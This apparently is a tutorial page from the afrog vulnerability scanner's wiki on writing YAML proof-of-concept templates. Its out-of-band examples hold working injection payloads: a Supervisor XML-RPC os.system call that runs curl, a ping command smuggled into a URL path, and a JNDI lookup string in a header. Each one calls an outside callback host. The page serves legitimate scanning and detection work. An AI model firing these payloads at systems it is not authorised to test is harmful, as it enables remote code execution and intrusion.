-
Notifications
You must be signed in to change notification settings - Fork 395
Examples
The Examples module aims to teach how to write PoCs for afrog through practical examples. Starting from simple to complex, it helps to gradually master the skills of writing PoCs.
afrog's PoCs can be categorized into three types: http
, tcp/udp
, and go
. Among them, the majority of PoCs fall into the http
category, so it is recommended to focus on learning this type during the learning process.
afrog is a powerful vulnerability scanning tool that supports user-defined Proof of Concept (PoC) writing. Writing your own PoCs can help you extend the functionality of afrog to meet specific vulnerability detection needs. Here is a brief afrog PoC writing tutorial to help you get started with writing your own PoCs.
-
Understand the PoC structure and syntax:
- PoCs are written in YAML format.
- They contain necessary information for vulnerability validation, such as vulnerability name, description, validation rules, etc.
- You can refer to the built-in PoCs in afrog to understand their structure and syntax.
-
Create a new PoC file:
- Use any text editor to create a new YAML file, e.g.,
my-poc.yaml
.
- Use any text editor to create a new YAML file, e.g.,
-
Write the PoC content:
- Fill in the necessary information for your PoC based on the vulnerability you want to validate.
- Make sure to provide accurate vulnerability name, description, and validation rules.
- Optionally, you can add other fields like impact scope, remediation recommendations, etc.
-
Save and test the PoC:
- Save the written PoC to your local machine.
- Run the afrog command in your terminal and specify the target URL using the
-t
parameter. - Use the
-poc-file
or-P
parameter to specify the path to your written PoC file. - Run the afrog scan to validate if your PoC is effective.
-
Debug and optimize the PoC:
- If any issues or unexpected results occur during the validation process, check the syntax and logic of your PoC.
- You can use the
-pd
command provided by afrog to view the detailed content of a specific PoC for further debugging and optimization.
-
Contribute and share:
- If your PoC successfully validates a vulnerability, consider contributing it to the afrog community.
- You can submit a Pull Request to add your PoC to the official afrog repository and share your achievements with other users.
Please note that writing effective PoCs requires a certain level of security technical knowledge and experience. Ensure to follow legal and ethical guidelines when writing and using PoCs, and only use them within authorized scopes.
We hope this brief tutorial helps you get started with writing your own afrog PoCs. Good luck!
The afrog PoC content consists of three main parts: id
, info
, and rules
.
id: xxx
info:
xxxx
rules:
xxxx
The id
serves as a unique identifier for the PoC, and it is recommended to keep the id
concise and accurate. The official recommendation is to use CVE or CNVD naming conventions. If there is no vulnerability identifier available, it is suggested to follow the naming convention of Product Name
-Product Version
-Triggering Vulnerability Keyword
-Vulnerability Name.yaml
.
For example, the name kingsoft-v8-get-file-content-file-read.yaml
can be broken down as follows:
id: kingsoft-v8-get-file-content-file-read
-
kingsoft
represents the product name, which is "金山" (Kingsoft). -
v8
represents the product version, which is "V8 终端安全系统" (V8 Terminal Security System). -
get-file-content
represents the key file name triggering the vulnerability, which isget_file_content.php
. -
file-read
represents the vulnerability name, which is "任意文件读取漏洞" (Arbitrary File Read Vulnerability).
info
is the basic information section of the PoC, which includes the following main components:
id: CVE-2001-1473
info:
name: Deprecated SSHv1 Protocol Detection
author: demo
severity: high
verified: true
description: SSHv1 is deprecated and has known cryptographic issues.
affected: ssh-1
solutions: Upgrade to SSH-2 or later.
reference:
- https://www.kb.cert.org/vuls/id/684820
- https://nvd.nist.gov/vuln/detail/CVE-2001-1473
tags: cve,cve2001,network,ssh,openssh
created: 2022/01/21
name
, author
, and severity
are mandatory fields.
-
name
: Vulnerability name. Unlikeid
, it does not have uniqueness restrictions, and the naming rules are not strict. It can be in English, Chinese, or any other language. Its main purpose is to provide a concise description of the vulnerability addressed by the PoC. -
author
: Author of the PoC. -
severity
: Vulnerability severity level, ranging frominfo
,low
,medium
,high
, tocritical
in ascending order of severity. -
verified
: Verification status. Setting it totrue
indicates that the PoC has been verified. -
description
: Detailed description of the vulnerability, highlighting its characteristics and impact. -
affected
: Affected scope, typically including the versions of the product that are vulnerable. -
solutions
: Recommendations and solutions for fixing the vulnerability. -
reference
: References and links to related articles. Note that this field should be filled in as an array. -
tags
: Keywords used for retrieval and categorization. -
created
: Creation time, documenting the date when the PoC was created.
Basic structure, mainly includes the following contents:
id: my-poc
info:
name: My PoC demo
author: zan8in
severity: critical
rules:
r0:
request:
method: GET
path: /vulnerability-path
expression: response.status == 200 && response.body.bcontains(b'Vulnerability')
expression: r0()
Basic structure, mainly includes the following contents:
id: mysql-detect
info:
name: MySQL detected
author: zan8in
severity: info
verified: false
set:
hostname: request.url.host
host: request.url.domain
rules:
r0:
request:
type: tcp
host: "{{hostname}}"
data: "\n"
read-size: 1024
expression: response.raw.bcontains(b'No such') && response.raw.bcontains(b'lstat() failed')
r1:
request:
type: tcp
host: "{{host}}:3306"
data: "\n"
read-size: 1024
expression: response.raw.bcontains(b'No such') && response.raw.bcontains(b'lstat() failed')
expression: r0() || r1()
Basic structure, mainly includes the following contents:
id: shiro-key-detect
info:
name: Shiro key detection
author: zan8in
severity: critical
verified: false
rules:
r0:
request:
type: go
data: shiro_key_detect
expression: response.raw.bcontains(b'ShiroKey')
expression: r0()
oob()
The POC used to execute commands without echo calls the external link platform and requests the external link platform after waiting for a few seconds to verify whether the signal for command execution is successfully received.
Oob() vulnerability verification requires configuring the oob() environment, Configuration Tutorial
Basic usage
set
declares two variables
oob
: Initialize an OOB object
oobHTTP
: The URL of the OOB object, such as http://xxxxxx.xxyyy.ceye.io, is generally used for curl {{oobHTTP}} operations
oobDNS
: The host of the OOB object, such as xxyy.ceye.io, is generally used for ping {{oobDNS}} operations
set:
oob: oob()
oobHTTP: oob.HTTP
oobDNS: oob.DNS
id: oob-http-demo
info:
name: OOB HTTP Demo
author: zan8in
severity: info
set:
oob: oob()
oobHTTP: oob.HTTP
rules:
r0:
request:
method: POST
path: /rce.php
body: |
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>curl {{oobHTTP}}</string>
</param>
</params>
</methodCall>
expression: oobCheck(oob, oob.ProtocolHTTP, 3)
expression: r0()
request package
POST /rce.php HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Content-Type: application/x-www-form-urlencoded
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>curl http://36sSyqGPGpMZ.xxyy.dnslogxx.sh</string>
</param>
</params>
</methodCall>
id: oob-dns-demo
info:
name: OOB DNS Demo
author: zan8in
severity: info
set:
oob: oob()
oobDNS: oob.DNS
rules:
r0:
request:
method: GET
path: /cmd=`ping {{oobDNS}}`
expression: oobCheck(oob, oob.ProtocolDNS, 3)
expression: r0()
request package
GET /cmd=`ping 36sSyqGPGpMZ.xxyy.dnslogxx.sh` HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
id: oob-jndi-demo
info:
name: OOB JNDI Demo
author: zan8in
severity: info
set:
oob: oob()
oobDNS: oob.DNS
rules:
r0:
request:
method: GET
path: /websso/SAML2/SSO/vsphere.local?SAMLRequest=
headers:
X-Forwarded-For: "${jndi://{{oobDNS}}}"
expression: oobCheck(oob, oob.ProtocolDNS, 3)
expression: r0()
request package
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.66.166
X-Forwarded-For: ${jndi:ldap://x.x.x.x:1389/QW5qJX3cb16PKivauJxyWl}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
id: mysql-detect
info:
name: MySQL Dectect
author: zan8in
severity: info
verified: true
description: MySQL instance was detected
tags: network,db,mysql
set:
host: request.url.domain
hostname: request.url.host
rules:
r0:
request:
type: tcp
host: "{{hostname}}"
data: "\n"
expression: |
response.raw.ibcontains(b"mysql") ||
response.raw.ibcontains(b"mariadb") ||
"[0-9]\\.[0-9]{1,2}\\.[0-9]{1,2}".bmatches(response.raw)
extractors:
- type: regex
extractor:
ext1: '"(?P<mysql>[0-9]\\.[0-9]{1,2}\\.[0-9]{1,2})".bsubmatch(response.raw)'
mysql: ext1["mysql"]
r1:
request:
type: tcp
host: "{{host}}:3306"
data: "\n"
expression: |
response.raw.ibcontains(b"mysql") ||
response.raw.ibcontains(b"mariadb") ||
"[0-9]\\.[0-9]{1,2}\\.[0-9]{1,3}".bmatches(response.raw)
extractors:
- type: regex
extractor:
ext1: '"(?P<mysql>[0-9]\\.[0-9]{1,2}\\.[0-9]{1,2})".bsubmatch(response.raw)'
mysql: ext1["mysql"]
extractors:
- type: word
extractor:
user: 'root'
pass: "123456"
expression: r0() || r1()